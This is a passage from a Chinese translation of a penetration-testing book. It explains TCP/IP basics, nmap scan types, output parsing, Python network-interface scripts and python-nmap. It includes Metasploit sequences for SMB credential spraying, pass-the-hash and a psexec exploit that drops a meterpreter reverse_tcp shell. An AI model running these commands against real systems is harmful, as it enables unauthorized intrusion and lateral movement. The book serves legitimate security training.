    grabber.addheaders = [('User-agent','Mozilla/5.0')]
    try:
        public_ip_address = grabber.open(target_url).read()
    except urllib2.HTTPError, error:
        print("There was an error trying to get your Public IP: %s") % (error)
    except urllib2.URLError, error:
        print("There was an error trying to get your Public IP: %s") % (error)
    return public_ip_address
public_ip = "None"
target_url = "http://ip.42.pl/raw"
public_ip = get_public_ip(target_url)
if not "None" in public_ip:
    print("Your Public IP address is: %s") % (str(public_ip))
else:
    print("Your Public IP address was not found")

您的脚本的输出应该类似于这样:

您的第一个评估脚本

提示

这个脚本可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/publicip.py找到。

总结

本章重点介绍了 Python 脚本语言的基础知识,并通过示例开发了您自己的代码。它还指出了与创建评估脚本相关的常见陷阱。本章的最后一节重点介绍了如何创建有用的脚本,即使只是简单地拼凑已生成的示例的组件。

在接下来的章节中,我们将更深入地探讨这个主题,使用nmapscapy和 Python 进行自动化,对环境进行适当的侦察。

第三章:使用 Nmap、Scapy 和 Python 识别目标

目标识别、网络监视和主动侦察都是您可能在评估环境的初始过程中看到的术语,它们可能互相替代,以描述这个过程。根据您使用的框架,如 PTES、自定义公司方法或其他行业标准,这些术语可能有不同的含义。重要的是要记住,您要查看批准范围内哪些主机是活动的,以及它们开放和响应的服务、端口和功能。

这些方面将决定您将从这里开始执行的活动。往往,这个阶段很短暂,评估员们立即开始利用他们看到对扫描作出响应的系统。新的评估员们不是有条不紊地研究可能的目标,而是立即投入其中。这在以前的工作中可能对他们有所帮助,因为他们很快就达到了目标,但是以这种方式进行评估还有其他影响,许多评估员并没有意识到。

他们可能会错过甚至更容易利用的系统。因此,如果您作为评估员没有看到这一点,而恶意行为者可能会看到,那么几个月后您可能会与客户进行一次令人不快的对话,讨论为什么您错过了这个漏洞。但请记住,渗透测试是时间的快照,环境总是在变化。环境中的控制和限制会调整,系统经常被重新分配。因此,在新的评估中可能会出现旧的漏洞。有条不紊意味着您可能会找到多个易于攻击的目标,这可能有助于您与客户建立良好的关系,并进而获得更多的工作。最重要的是,它将指出客户缺陷的根本原因,如果不加以修复,将继续产生控制失误。

评估员的最大影响来自于某人过早行动,这意味着他们可能开始利用组织中没有重要目的的系统。这意味着尽管他们破解了一个盒子,但它并没有通过网络传输任何价值,或者漏洞是不可利用的,因此可以被视为虚假阳性。因此,所有这些初始扫描都必须重新启动,浪费宝贵的时间,并增加了达成目标的机会。要了解如何扫描网络,首先必须了解网络帧、数据包、消息和数据报,以便可以操纵它们。

了解系统如何通信

有整套书籍专门讨论网络通信;本章将从一些非常基本的信息开始。如果您已经了解了这些数据,我鼓励您阅读一遍,以便复习一下,以防涵盖了一些新的或不同的细节。此外,还有一些关于标头组件和有效载荷大小的参考。这些是关于网络协议如何引用的具体信息,以及根据传输的数据和/或专业网络的差异,协议可能会有所不同。

当系统生成数据时,它通过系统的传输控制协议TCP)/ 互联网协议IP)堆栈发送。这将数据打包成可以通过电线传输的形式。如果您听说过开放系统互连OSI)模型,那么您就知道这是人们讨论系统如何处理数据的方式,而 TCP/IP 模型是系统实际操作的方式。

注意

每个系统都有一个 TCP/IP 堆栈,代表了 TCP/IP 模型的实现。重要的是要理解套接字是通过什么进行通信的。这是通过链接源和目的 IP 地址以及源和目的端口来完成的。

有一系列称为临时端口范围的端口。其范围因系统而异。这些端口也被称为动态端口,客户端用作套接字通信的源端口。它们也可以是服务器上已知服务的目的端口,前提是已知端口设计用于通信代理而不是目的地。诸如文件传输协议FTP)之类的服务使用这种技术。您必须了解这一点,因为在尝试识别目标时,这些临时端口通常不需要被扫描,因为它们很少作为服务发起者。因此,它们是短暂的,并且仅与特定通信流相关联。

提示

请记住,管理员经常将已知服务隐藏在这些较高的端口范围内,以尝试创造服务不被识别的情况。这被称为安全性通过混淆。在扫描许多主机时,您可能需要避免扫描这些范围,因为这样会花费更多时间。如果您没有识别出许多服务,或者目标网络中有一些主机,您可能希望将这些包括在您的扫描范围内。

第 4 层标头代表 TCP 和用户数据报协议UDP)标头以及特定 IP 的目标连接端口。第 3 层标头代表 IP 和互联网控制消息协议ICMP)标头。第 2 层标头与帧标头、尾部和地址解析协议ARP)有关。以下图表描述了帧生成的方法,用于两个系统之间的通信:

理解系统如何通信

现在您已经看到了帧是如何从上到下生成的,让我们回到堆栈的顶部,看看如何将每个组件解构以获取数据。从那里开始,您可以从以太网帧开始。

以太网帧结构

帧是数据从主机到主机传输的方式,有许多组成帧的组件。您可以在维基百科和工程文件中阅读大量与帧相关的信息,但有一些事情您需要了解。帧通过硬件地址进行通信,这个地址被称为媒体访问控制MAC)地址。无线网络和以太网网络的帧略有不同。此外,在帧的末尾是一个校验和。这是一个基本的数学检查,用于验证数据在传输过程中的完整性。以下是一个以太网帧的截图,目的地是 TCP 端口:

以太网帧结构

下一个截图代表了帧的内容,目的地是 UDP 端口:

以太网帧结构

以太网网络中的第 2 层

帧用于在广播域或默认网关内部的位置进行通信,或者在通过路由器之前进行通信。一旦通过路由器,下一个广播域将使用路由器硬件地址的接口。根据设备之间的通信协议,这些通常也是以帧的形式发送的。这一过程一遍又一遍地进行,直到帧到达由 IP 地址标识的目的地。这非常重要,因为如果您希望使用 Responder 或 Ettercap 等工具运行大多数中间人MitM)攻击,您必须在广播域内,因为它们是第 2 层攻击。

无线网络中的第 2 层

无线攻击的概念非常相似,因为你必须在服务集标识符SSID)或实际无线网络名称的范围内。你的通信方式会略有不同,这取决于无线网络的设计,但你会使用接入点(AP),这些 AP 由基本服务集标识符BSSIDs)区分,这是 AP 的 MAC 地址的一个花哨的名称。

一旦你通过 AP 关联和认证进入网络,你就成为基本服务集BSS)或企业网络的一部分,但受限于 AP 的范围。

如果你进入一个无线网络并与一个新的 AP 关联,因为信号更好,你将成为一个新的 BSS 的一部分。所有 BSS 都是企业服务集ESS)的一部分;有趣的是,如果无线网络包含多个 AP,它就是一个 ESS。要能够与无线工程师进行通信,你必须了解,如果你在企业无线网络中,SSID 实际上被称为企业 SSIDESSID)。现在你已经了解了第 2 层头部,现在是时候看看 IP 头部了。

注意

根据你正在阅读的网络文档,如果有一个分布系统DS)和一个 AP,或者两个 AP 和一个 DS,就会创建一个 ESS。DS 只是一个连接 AP 的非无线网络的花哨名称。这很重要要记住,因为根据公司使用的产品品牌,术语可能略有不同。

IP 数据包架构

IP 头部包含了通过使用 IP 地址进行通信所需的数据。这允许通信在广播域之外流动。下图显示了 IPv4 头部的一个示例:

IP 数据包架构

你可能已经读到了 IPv4 即将结束,或者已经接近结束。嗯,你可能已经听说了,它的替代品是 IPv6。这种新的地址方案提供了大量的新主机地址,但正如你在两种头部类型的比较中所看到的,字段要少得多。需要知道的一件事是,与 IPv4 相比,IPv6 存在大量的漏洞。

有许多原因,但最重要的原因是,当组织将安全概念应用到他们的网络时,他们忘记了 IPv6 默认是支持的并且已经打开。这意味着当他们配置保护机制时,他们通常使用 IPv4 地址。如果 IPv6 被启用,而安全设备不知道网络中不同地址类型或与这些设备的关联,攻击可能会被忽略。

想象一下:假设你有一所房子,有前门和后门,只有前门有保安。房子有相同的物理地址,但你进入的方式完全不同,因为它有两个不同的门。这个安全概念非常相似,因此组织应该记住,如果不仔细考虑影响,IPv6 可能会给组织带来新的漏洞。下图显示了 IPv6 数据包结构的一个示例:

IP 数据包架构

TCP 头部架构

相对而言,TCP 数据包头部比 UDP 数据包头部要大得多。它必须容纳必要的排序、标志和控制机制。具体来说,数据包用于使用多种不同的标志进行会话建立和拆除。这些标志可以被操纵,以便攻击者从目标系统获得响应。

下图显示了一个 TCP 头部:

TCP 头部架构

理解 TCP 的工作原理

在了解如何执行扫描和识别主机之前,您需要了解 TCP 通信流如何工作。TCP 是一种面向连接的协议,这意味着两个系统之间建立了一个会话。一旦这个会话建立,最初用于通信的信息就可以发送,当所有数据都发送完毕后,连接就会关闭。

TCP 三次握手

TCP 握手也称为三次握手。这意味着在两个系统之间建立通信套接字之前,要在两个系统之间发送三条消息。这三条消息是 SYN、SYN-ACK 和 ACK。试图建立连接的系统从设置了SYN标志的数据包开始。回答系统返回一个设置了SYNACK标志的数据包。最后,发起连接的系统向原始目标系统返回一个设置了ACK标志的数据包。在旧系统中,如果通信链路未完成,可能会产生意外后果。如今,大多数系统足够智能,只需重置RST)连接或优雅地关闭连接。

UDP 标头结构

虽然 TCP 是一种面向连接的协议,UDP 是一种简单的无连接协议。正如您在下图中所看到的,UDP 数据包的标头要简单得多。这是因为 UDP 维护套接字的开销要少得多,与 TCP 相比。

UDP 标头结构

了解 UDP 的工作原理

UDP 与监听端口建立通信流。该端口接受数据并将其根据需要传递到 TCP/IP 堆栈。虽然 TCP 用于同步和可靠的通信,但 UDP 不需要。多媒体演示是 UDP 通信的最佳示例。如果您正在观看电影,您不会在意可能丢失的数据包,因为即使它被重发,也没有意义在电影已经从最初的演示中移动之后再呈现它。现在您已经了解了系统通信的基础知识,您需要了解如何使用 Nmap 扫描技术使用不同的标志来收集所需的数据。

注意

每次扫描都有不同的目的,特定的标志会引发操作系统不同的响应,具体取决于它们是否按顺序接收。 nmap 端口扫描技术网页nmap.org/book/man-port-scanning-techniques.html简洁地详细介绍了这些信息。

了解 Nmap

如果有一种工具在大多数顶级和新的评估工具包中无处不在,那就是 nmap。您可能会发现不同的利用框架、Web 应用程序工具和其他偏好,但 nmap 是许多形式评估的基本工具。现在,这并不是说没有其他工具可以执行类似的功能;只是它们没有那么强大。这包括 AngryIP、HPing、FPing、NetScan、Unicorn scan 等工具。在所有这些工具中,只有两种显得显著不同,它们是 HPing 和 Unicorn scan。

我看到新的评估者在使用 nmap 时犯的最大错误是从同一主机同时执行多次扫描。他们没有意识到 nmap 使用主机操作系统的集成 TCP/IP 堆栈。这意味着任何额外的扫描都不会加快结果;相反,操作系统的 TCP/IP 堆栈必须同时处理多个会话。这不仅会减慢每次扫描的结果,还会增加错误,因为每个接收的数据包都可能影响结果,具体取决于它被哪个实例接收。

每个丢失的数据包都可以重新发送;这意味着扫描速度变慢,不仅因为重新发送的数据包数量,还因为不一致的结果和受限的 TCP/IP 堆栈。这意味着您只能对每个主机执行一次 nmap 扫描。因此,您必须尽可能高效。那么解决方案是什么?您可以使用 nmap 执行使用主机 TCP/IP 堆栈和 Unicorn 扫描的扫描,后者包含其自己的 TCP/IP 堆栈。事实上,通过高效使用 nmap 而不是同时使用多个工具,可以避免整个情况,后者会占用相对的时钟周期。

因此,除了处理驻留 TCP/IP 堆栈的限制外,还有一个限制,即 nmap 可以如何详细地操作数据包。HPing 提供了相对容易创建符合特定意图的自定义数据包的能力。尽管进行了这种自定义,但 HPing 只能有效地针对单个主机执行测试。如果多个主机需要相对自定义的简单 ping 测试,FPing 应该是首选工具。特别是因为 FPing 在标准输出STDOUT)中产生的结果易于解析,以产生高效和有用的结果。这并不是说 nmap 不是一个高度可配置的工具,而是指出它不能替代经验丰富且聪明的评估者,每个工具都有其用武之地。因此,您需要了解其限制并根据需要进行补充。

输入 Nmap 的目标范围

Nmap 可以通过标准输入STDIN)或文件输入目标。对于 CLI,可以通过多种方式进行,包括一系列 IP 地址和 IP 地址的无类域间路由CIDR)表示法。对于文件,IP 地址可以通过提到的方法传递,包括 CIDR 表示法、IP 地址和范围,以及通过换行或回车分隔的 IP 列表。要通过 CLI 传递数据,用户只需在命令的末尾呈现该部分,如下所示:

nmap -sS -vvv -p 80 192.168.195.0/24

对于文件输入方法,所需的只是-iL选项,后面跟着文件名:

nmap -sS -vvv -p 80 -iL nmap_subnet_file

执行不同的扫描类型

Nmap 支持大量不同的扫描,但这里不会涵盖所有扫描。相反,我们将重点关注您在评估中最常使用的扫描。您主要使用的四种扫描是 TCP 连接扫描(也称为完全连接扫描)、SYN 扫描(也称为半开放或隐秘扫描)、ACK 扫描和 UDP 扫描。这些都是为未来脚本编写所需的知识水平而突出显示的。

注意

在进行外部测试时,您可能会被自动屏蔽或排斥。这可能是由客户的互联网服务提供商ISP)或他们的信息技术IT)团队执行的。您应该始终备份公共 IP 地址,以防您的主要 IP 地址被屏蔽。然后,避免做与之前被屏蔽的相同的事情。接下来,当您看到客户进行积极的屏蔽时,请记录下来,因为这种积极的活动突出了他们应该考虑继续投资的地方以及他们存在差距的地方。

执行 TCP 完全连接扫描

TCP 连接扫描是 nmap 中最响亮或最容易检测到的扫描之一,但它也是最适合消除误报的扫描之一。在早期,事件响应(IR)和安全团队非常关注外围的扫描,以便确定何时会遭受攻击。时代变了,外围产生的噪音变得过多,许多以前看到的访问被更先进的防火墙所减轻。今天,IR 团队再次关注外围,并利用他们看到的活动来相关事件和潜在的未来尝试进入网络,或者跟踪已经执行的攻击相关的后续行动。

TCP 连接扫描可能提供最准确的结果,但自动拒绝机制通常会阻止扫描源在互联网服务提供商ISP)处。要执行 TCP 扫描,你只需使用-sT指示相关的扫描类型,如下所示:

nmap -sT -vvv -p 80 192.168.195.0/24

注意

我评估过许多组织,只能使用完全连接扫描进行扫描,因为如果执行 SYN 扫描,它们会立即拒绝连接。诀窍在于了解你的目标及其环境的先进程度。在预约阶段,很多情况都可以确定。

执行 SYN 扫描

SYN 扫描是一种 TCP 扫描,它可能是你在参与中运行的最突出的扫描。原因是它比 TCP 连接扫描快得多,而且更安静。然而,它不适用于极老或敏感设备类型的环境。虽然大多数现代系统在及时收到 ACK 响应后关闭连接时不会有问题,但其他系统可能会出现问题。过去曾多次出现这样的情况,如果连接未完成,一些传统系统可能会出现拒绝服务DoS)的情况。今天,这种情况已经很少见,但始终要考虑客户的担忧,因为他们比你更了解自己的环境。

SYN 扫描只需使用-sS标志来执行,如下所示:

nmap -sS -vvv -p 80 192.168.195.0/24

执行 ACK 扫描

ACK 扫描是三种 TCP 扫描类型中最罕见的,它可能并不像你想象的那样直接有用。让我们看看在什么情况下你会使用 ACK 扫描。它是一种慢速扫描,所以如果 SYN 或 TCP 扫描不能提供你需要的结果,你会使用它。Nmap 今天非常智能;通常你不需要执行不同类型的扫描来验证你正在攻击的目标类型。因此,你可能会尝试识别一个完全连接扫描无法使用的资源。这意味着你可能无法连接到主机进行进一步的攻击,因为你无法完成三次握手。

那么 ACK 扫描在哪里有用呢?人们经常问这个问题,答案是“防火墙”。ACK 扫描非常适合映射防火墙规则集。一些系统对 ACK 扫描的反应非常奇怪,并提供额外的数据,所以当你执行 ACK 扫描时,确保你的系统上运行着tcpdump。以下是如何执行 ACK 扫描的示例。运行以下命令:

nmap -sA -vvv -p80 192.168.195.0/24

执行 UDP 扫描

你会看到大量的博客文章、书籍和几个培训活动强调 UDP 是一个经常被忽视的协议。在未来的章节中,我们将强调这对一个组织来说是多么危险。UDP 扫描非常慢,由于 UDP 和 TCP 一样有很多端口,扫描它们需要大量的时间。此外,UDP 扫描——用更好的术语来说——是虚假的。它们经常报告一些东西是被过滤/开放的,这基本上意味着它不知道。

在非常大的环境中,这可能会令人恼火。它也没有完全的能力来获取大多数 UDP 端口服务信息。最常见的端口有特别打包的扫描数据,这使得 nmap 能够确定端口是否真的开放以及有什么服务,因为服务并不总是在默认端口上。当服务移至 UDP 端口时,与 TCP 扫描相比,nmap 返回的默认扫描数据会受到影响,影响并不大。

要执行 UDP 扫描,只需将扫描标志设置为-sU,如下所示:

nmap -sU -vvv -p161 192.168.195.0/24

执行组合 UDP 和 TCP 扫描

现在,您知道如何运行主要扫描,但是连续运行 TCP 和 UDP 扫描可能需要很长时间。为了节省时间,您可以通过针对两种类型的扫描的端口来组合资源的扫描。但是要明智地使用,如果在此扫描中使用了大量端口,将需要很长时间才能完成。因此,此扫描非常适合针对您可以用来识别易受攻击的资源的顶级端口,例如以下端口:

服务类型 常见端口号 协议 服务
数据库 1433 TCP Microsoft 结构化查询语言(MSSQL)服务器
1434 UDP SQL Server 浏览器服务
3306 TCP MySQL
5433 TCP PostgresSQL 服务器
远程文件服务 2049 TCP 网络文件服务(NFS)
111 TCP Sun 远程过程调用(RPP)
445 TCP 服务器消息块(SMB)
21 TCP 文件传输协议(FTP)
远程管理界面 3389 TCP 远程桌面协议(RDP)
22 TCP 安全外壳(SSH)
23 TCP Telnet
6000 到 6005 TCP x11
5900 TCP 虚拟网络连接器(VNC)
9999 TCP 用于遗留网络设备的已知远程管理界面
接口和系统/用户枚举服务 25 TCP 发送邮件传输协议(SMTP)
79 TCP Finger
161 UDP 简单网络管理协议
Web 服务器 80、443 TCP Web 服务
8080、8443 和 8888 TCP Tomcat 管理页面,JBoss 管理页面,系统管理面板
虚拟专用网络VPN)管理详细信息 500 UDP 互联网安全关联和密钥管理协议(ISAKMP)

要执行组合扫描,只需标记要使用的两种类型的扫描,并逐个列出要为每种协议扫描的端口。这是通过提供-p选项,后跟U:用于 UPD 端口和T:用于 TCP 端口来完成的。请参阅以下示例,仅为简洁起见突出显示了一些端口:

nmap -sS -sU -vvv -p U:161,139 T:8080,21 192.168.195.0/24

跳过操作系统扫描

我见过许多新的评估者对 nmap 的操作系统扫描充满了愉快的兴奋。这是我团队成员知道的识别不经常评估企业环境的人的最快方法之一。原因如下:

  • 操作系统扫描非常吵闹

  • 它可能会使遗留系统崩溃,因为它执行链接扫描以确定响应并验证系统类型

  • 对于旧的或遗留系统,可能会造成破坏

  • 过去,某些打印机可能会出现问题,包括打印浸泡墨水的黑色页面,直到它们被关闭或用完纸

有经验的评估者不使用这种扫描的最大原因是因为它在今天提供的价值很小。你可以用其他方法更快、更容易、更安静地识别这种扫描提供的细节。例如,如果你看到端口445打开,那么它要么是运行 Samba 变体的系统,要么是 Windows 主机——通常是这样。学习每个操作系统的端口、服务标签和版本将比这种扫描更好地识别操作系统和版本。此外,如果是一种你无法通过这种方法识别的系统,那么 nmap 也不太可能做到,当然这取决于你的技能水平。

提示

随着经验的积累,你会学会如何使用 Responder、tcpdump 和 Wireshark 等工具被动地识别活动主机。这意味着你不需要扫描主机,实质上,你更加安静。这也更好地模拟了真正的恶意行为者。

不同的输出类型

Nmap 有四种输出类型,根据情况它们非常有用。它们可以输出到屏幕,STDOUT,或者三种不同的文件类型。这些文件类型有不同的目的和优势。有 nmap 输出,看起来和STDOUT一样,但是在文件中;这是用-oN来实现的。然后,还有Grepable和可扩展标记语言(XML)输出,如下所述。所有输出可以使用-oA标志同时产生。

理解 Nmap Grepable 输出

有 Grepable 输出,说实话,对于提取数据来说并不是那么好。它可以提供一种快速、简单地提取数据组件来构建列表的方法,但是要用grepsedawk来正确解析它,你实际上必须插入字符来表示数据应该被提取的位置。Grepable 输出可以通过标记-oG来执行。

当你有一个 Grepable 文件时,解析数据的最有用的方法是根据它的某些组件。通常你要寻找与特定服务相关的开放端口。因此,你可以通过执行以下命令提取这些细节:

cat nmap_scan.gnmap | grep 445/open/tcp | cut -d" " -f2 >> /root/Desktop/smb_hosts_list

这个例子展示了一个 Grepable 文件被推送到STDOUT,然后被管道传输到grepgrep搜索开放的445 端口。这可以通过grep和 cut 来完成,但是这样很容易阅读和理解。一旦找到端口,cut 提取 IP 地址并将它们推送到一个名为smb_hosts_lists的平面文件中。如果你查看nmap_scan.gnmap文件,你可能会看到包含以下细节的行:

Host: 192.168.195.112 () Ports: 445/open/tcp/

正如你所看到的,这行包含445/open/tcp的细节,这使我们能够针对特定行进行目标定位。然后我们使用空格作为分隔键进行切割,并选择第二个字段,如果你通过空格计算数据字段,你会找到 IP 地址。这种技术非常常见,对于快速识别 IP 地址开放的服务或端口,并基于服务或端口创建多个平面文件非常有用。

正如第一章中所示,理解渗透测试方法论,你可以使用 Metasploit 模块中的rhosts字段来通过 CIDR 表示法或范围来定位主机。当你创建平面文件时,你可以使用 Metasploit 模块来引用平面文件而不是目标主机列表。要运行 Metasploit 控制台,执行以下命令:

msfconsole

如果你正在从命令行运行 Metasploit Professional,使用以下命令:

msfpro

现在看看这个例子,在这个例子中,我们将尝试并查看我们之前破解的密码是否适用于网络中其余主机:

use auxiliary/scanner/smb/smb_login
set SMBUser administrator
set SMBPass test
set SMBDomain Workgroup
set RHOSTS file:/root/Desktop/smb_hosts_list
run

use命令选择要使用的模块——在本例中是smb_login模块,用于验证Server Message BlockSMB)凭据。SMBUser设置选择要对其执行此攻击的用户名。SMBPass设置选择要在此模块中使用的密码。SMBDomain字段允许您设置组织的域。run命令执行辅助模块。在早些年,您必须使用run来执行辅助模块和利用模块。如今,这些实际上是可以互换的,除了需要run的后期利用模块,如www.offensive-security.com/metasploit-unleashed/windows-post-gather-modules/中所强调的。

提示

如果您使用本地帐户进行攻击,应将域设置为工作组。当攻击域帐户时,应将域设置为组织的实际域。

Metasploit Professional 是一种帮助优化渗透测试工作的工具,它具有 Web 图形用户界面(GUI)。Metasploit pro 提供了许多出色的功能,但如果您需要通过由防火墙保护的多个网络层进行枢纽,控制台是最佳选择。要了解如何执行自动枢纽,您可以在www.offensive-security.com/metasploit-unleashed/pivoting/找到详细信息。要了解如何执行手动枢纽,请参阅pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot,其中涵盖了基于端口的枢纽、手动路由和 SOCKS 代理。

这种攻击方法非常常见;您找到凭据,确定凭据可能适用的服务,然后构建平面文件以针对主机。接下来,您引用这些平面文件来检查主机是否存在漏洞。一旦验证了这些主机的脆弱性,您就可以使用Pass-the-HashPtH)利用它们,使用Process ExecutionPSEXEC)攻击(如果您有哈希)或标准凭证 PSEXEC,如下面的代码所示:

提示

PtH 是一种利用与系统在网络上进行身份验证的 Windows 本机弱点相关的攻击。与要求挑战/响应身份验证方法不同,哈希密码可以直接传递到主机。这意味着您不必破解本地区域网络管理器LM)或新技术 LMNTLM)哈希。许多 Metasploit 模块可以使用 SMB 服务的凭据或哈希。

msfconsole
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass test
set SMBDomain Workgroup
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.195.112
set LPORT 443
exploit -j

payload命令选择要在主机上投放并执行的有效负载。reverse_tcp有效负载拨回攻击盒以建立连接。如果是bind有效负载,攻击盒在执行后将直接连接到监听端口。RHOSTLPORT表示我们要连接的目标主机和攻击盒上要监听返回通信的端口。exploit -j运行漏洞利用,然后将结果放到后台,这样可以让您专注于其他事情,并在需要时使用session -i <session number>返回会话。请记住,您不需要破解凭据来执行smb_loginpsexec;相反,您可以使用 PtH。在这种情况下,smb_login命令的文本将如下代码所示:

注意

在执行过程完成时,放在盒子上的所有有效负载都将被删除。如果执行过程中断,有效负载可能会留在系统中。更安全的环境使用监视进程的工具,如果这些工具未正确配置以删除检测到的进程的生成器,则可能会出现这种情况。

msfconsole
use auxiliary/scanner/smb/smb_login
set SMBUser administrator
set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
set SMBDomain Workgroup
set RHOSTS file:/root/Desktop/smb_hosts_list
run

以下配置将用于psexec命令:

msfconsole
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
set SMBDomain Workgroup
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.195.112
set LPORT 443
exploit -j

现在您已经了解了nmap grepable输出的目的和好处,让我们来看看 XML 输出的好处。在继续之前,有一点需要注意,这将帮助您了解 XML 的好处。看一下nmap grepable输出的行。您可以看到用于区分数据字段的特殊字符非常少;这意味着您可以轻松提取只有小部分信息。要获取更大的数量,您必须使用sedawk插入分隔符。这是一个痛苦的过程,但幸运的是,您手头上有解决方案——XML 输出。

理解 Nmap XML 输出

XML 构建数据树,使用子父组件来标记数据集。这允许在遍历列出父子关系的树之后,使用特定标签抓取数据进行轻松和直接的解析。最重要的是,由于这一点,XML 输出可以被其他工具导入,比如 Metasploit。您可以使用-oX选项轻松地只输出 XML。这些好处的更多细节将在以后的章节中进行介绍,特别是在第九章中使用 Python 解析 XML 时,使用 Python 自动化报告和任务,以帮助自动生成报告数据。

Nmap 脚本引擎

Nmap 有许多脚本,为评估者提供独特的功能。它们可以帮助识别易受攻击的服务、利用系统或与复杂的系统组件交互。这些脚本是用一种叫做 Lua 的语言编写的,这里不会涉及。这些脚本可以在 Kali 的/usr/share/nmap/scripts中找到。可以使用--script选项调用这些脚本,然后以逗号分隔的列表形式调用。在针对目标执行脚本之前,请确保您知道每个脚本的作用,因为它可能对目标系统产生意外后果。

注意

有关nmap脚本的更多详细信息,请访问nmap.org/book/man-nse.html。可以在nmap.org/nsedoc/找到有关nmap脚本的具体细节,以及它们的目的和类别关联。

脚本可以按其所属的类别调用,或者从您不希望它们所属的类别中移除。例如,您可以看到以下命令运行nmap工具,使用所有默认或安全脚本,这些脚本不以http-开头:

nmap --script "(default or safe) and not http-*" <target IP>

到目前为止,您应该已经对如何使用 nmap 以及其中的功能有了相当好的了解。让我们来看看如何高效使用 nmap。这是因为渗透测试的最大限制因素是时间,在这段时间内,我们需要简明地识别易受攻击的目标。

高效使用 Nmap 扫描

Nmap 是一个很棒的工具,但是您可能会受到网络设计不佳、大量目标集和不受限制的端口范围的限制。因此,高效的关键是限制您扫描的端口数量,直到您知道哪些目标是活动的。这可以通过针对具有活动设备的子网并仅扫描这些范围来完成。这样做的最简单方法是查找网络中活动的默认网关。因此,如果您看到您的默认网关是192.168.1.1,那么在这个 C 类网络中,其他默认网关可能在诸如192.168.2.1之类的区域是活动的。对默认网关进行 ping 操作是一个有点吵闹的过程,但它通常与大部分正常的网络流量一致。

Nmap 具有内置功能,可以使用--top-ports选项来定位统计上更常见的端口,然后跟上一个数字。例如,您可以使用--top-ports 10选项查找前 10 个端口。这些统计数据是通过对面向互联网的主机进行长期扫描发现的,这意味着统计数据是基于互联网上可能暴露的内容。因此,请记住,如果您正在进行内部网络评估,此选项可能无法提供预期的结果。

作为评估员,您经常会收到一系列要评估的目标。有时,这个范围非常大。这意味着您需要尝试通过查看哪些位置的默认网关是活动的来确定活动段。每个活动的默认网关和相关子网将告诉您应该扫描的位置。因此,如果您的默认网关是192.168.1.1,您的子网是255.255.255.0/24,您应该检查从192.168.2.1192.168.255.1的其他默认网关。当您 ping 每个默认网关时,如果它有响应,您就知道该子网中可能有活动主机。这可以很容易地通过众所周知的 bash for循环来完成:

for i in `seq 1 255`; do ping -c 1 192.168.$1.1 | tr \\n ' ' | awk '/1 received/ {print $2}'; done

这意味着您必须查找您的默认网关地址和子网,以验证您正在使用的每个接口的详细信息。如果您能够使用 Python 脚本自动化查找这些系统详细信息的过程会怎样呢?要开始这个旅程,请使用netifaces库提取接口的详细信息。

使用 netifaces 库确定您的接口详细信息

我们演示了如何使用 Python 脚本在第二章中找到接口详细信息,Python 脚本的基础。它旨在找到任何系统的详细信息,而不考虑库,但它只能根据提供的接口名称列表找到地址。此外,它是一个不太严密的脚本。相反,我们可以使用 Python 的netifaces库来遍历地址并发现详细信息。

此脚本使用多个函数来完成特定任务。包括的函数有get_networksget_addressesget_gatewaysget_interfaces。这些函数确切地做你期望它们做的事情。第一个函数get_interfaces找到该系统的所有相关接口:

def get_interfaces():
    interfaces = netifaces.interfaces()
    return interfaces

第二个函数确定网关并将其作为字典返回:

def get_gateways():
    gateway_dict = {}
    gws = netifaces.gateways()
    for gw in gws:
        try:
            gateway_iface = gws[gw][netifaces.AF_INET]
            gateway_ip, iface = gateway_iface[0], gateway_iface[1]
            gw_list =[gateway_ip, iface]
            gateway_dict[gw]=gw_list
        except:
            pass
    return gateway_dict

第三个函数确定每个接口的地址,包括 MAC 地址、接口地址(通常是 IPv4)、广播地址和网络掩码。所有这些详细信息都是通过传递接口名称的函数来获取的:

def get_addresses(interface):
    addrs = netifaces.ifaddresses(interface)
    link_addr = addrs[netifaces.AF_LINK]
    iface_addrs = addrs[netifaces.AF_INET]
    iface_dict = iface_addrs[0]
    link_dict = link_addr[0]
    hwaddr = link_dict.get('addr')
    iface_addr = iface_dict.get('addr')
    iface_broadcast = iface_dict.get('broadcast')
    iface_netmask = iface_dict.get('netmask')
    return hwaddr, iface_addr, iface_broadcast, iface_netmask

第四个,也是最后一个函数,从get_gateways函数提供的字典中确定接口的网关 IP。然后调用get_addresses函数来确定接口的其余详细信息。所有这些都被加载到一个以接口名称为键的字典中:

def get_networks(gateways_dict):
    networks_dict = {}
    for key, value in gateways.iteritems():
        gateway_ip, iface = value[0], value[1]
        hwaddress, addr, broadcast, netmask  = get_addresses(iface)
        network = {'gateway': gateway_ip, 'hwaddr' : hwaddress, 
          'addr' : addr, 'broadcast' : broadcast, 'netmask' : netmask}
        networks_dict[iface] = network
    return networks_dict

注意

完整的脚本代码可以在raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/ifacesdetails.py找到。

以下屏幕截图突出显示了此脚本的执行:

使用 netifaces 库确定您的接口详细信息

现在,我们知道这与扫描和识别目标没有直接关系,但是用于消除目标。这些目标是您的系统;一旦您开始自动评估一些系统,您将会发现您不希望您的系统出现在列表中。我们将重点介绍如何使用 Nmap 库扫描系统,识别可定位的服务,然后消除可能是我们系统的任何 IP 地址。

Python 的 Nmap 库

Python 有库可以直接执行nmap扫描,可以通过交互式解释器或构建多功能攻击工具。例如,让我们使用nmap库来扫描我们本地 Kali 实例的Secure Shell (SSH)服务端口。确保服务已启动,执行/etc/init.d/ssh start命令。然后使用pip install python-nmap安装 Python 的nmap库。

现在,您可以直接使用库执行扫描,导入它们,并将nmap.PortScanner()分配给一个变量。然后可以使用实例化的变量来执行扫描。让我们在交互式解释器中执行一个示例扫描。以下是使用交互式 Python 解释器针对本地 Kali 实例进行端口 22扫描的示例:

Python 的 Nmap 库

正如您所看到的,这是一个可以根据需要调用的字典的字典。通过交互式解释器执行扫描需要更多的工作,但在您可能已经掌握了具有 Python 的环境中非常有用,并且它将允许您在参与过程中安装库。这样做的更大原因是编写将使有针对性的利用更容易的方法。

